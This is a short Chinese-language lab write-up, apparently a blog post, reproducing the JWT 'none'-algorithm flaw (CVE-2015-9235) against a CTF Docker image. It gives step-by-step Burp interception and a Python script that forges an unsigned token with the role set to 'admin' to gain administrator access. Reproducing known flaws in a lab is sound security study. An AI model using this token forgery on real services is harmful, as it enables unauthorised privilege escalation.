JWT(Json Web Token)漏洞复现

空加密算法(cve-2015-9235)

1、centos(192.168.101.148)使用docker拉取环境

docker pull gluckzhang/ctf-jwt-token

2、在docker中启动服务

docker run --rm -p 9090:8080 gluckzhang/ctf-jwt-token

3、启动成功,访问主页,输入任意账号密码尝试登录

4、登录失败,会返回正确的账号和密码

5、使用正确的账号密码登录

6、登录后,开启burpSuite代理,刷新界面抓取到token

7、进入jwt.io网站,将token进行解密,发现payload中有角色信息:user

8、使用python的jwt库,修改payload中的角色信息后,生成新的token

jwt_encode.py

import jwt

payload={
"auth": 1710292524616,
"agent": "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0",
"role": "admin",
"iat": 1710292525
}
print( jwt.encode( payload, None, algorithm="none" ) )

9、将重新生成的token,替换到burp的请求

10、发送后即可获得admin权限。

  • 5
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值